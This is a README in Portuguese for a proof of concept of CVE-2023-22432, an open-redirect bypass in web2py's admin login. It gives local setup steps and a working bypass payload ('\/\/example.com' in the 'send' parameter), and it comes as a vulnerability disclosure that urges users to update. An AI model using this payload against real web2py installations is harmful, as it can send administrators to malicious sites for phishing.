
PoC para CVE-2023-22432 (web2py)
Uma vulnerabilidade (CVE-2023-22432) no web2py foi divulgada em 31 de janeiro de 2023 (horário dos EUA). Este artigo descreve nossa discussão sobre essa vulnerabilidade e os resultados de nossa verificação.
Esta vulnerabilidade é uma vulnerabilidade de redirecionamento aberto no web2py que permite que uma URL arbitrária seja especificada como a URL de destino de retorno na URL da página de administração. Medidas de proteção contra redirecionamentos abertos foram originalmente implementadas, mas esta vulnerabilidade é reproduzida ao aplicar um método de bypass especial à URL. Isso pode levá-lo a sites maliciosos.
Uma vulnerabilidade de redirecionamento aberto (CVE-2022-33146) foi descoberta no web2py em 2022, e nos perguntamos se havia outras vulnerabilidades como a CVE-2022-33146, então verificamos o código fonte do web2py e encontramos a maneira de contornar a prevenção de redirecionamento aberto. (o autor) da Aeye Security Lab reportou isso à IPA e à equipe de desenvolvimento do web2py.
Execute build.sh neste repositório. Então o web2py será iniciado.
bash build.sh
Acesse http://localhost:8000/admin/default/index/?send=//example.com

Digite a senha "password123" e clique em Login.

Não redirecionou para example.com, então a prevenção de redirecionamento aberto funcionou bem.
Acesse http://localhost:8000/admin/default/index/?send=\/\/example.com
O payload é \/\/example.com.

Digite a senha "password123" e clique em Login.

Redirecionou para example.com, então a prevenção de redirecionamento aberto não funcionou corretamente.
Após revisão e verificação, confirmamos que é possível direcionar o administrador para um site malicioso manipulando a URL da página de administração. Recomendamos atualizar o sistema o mais rápido possível.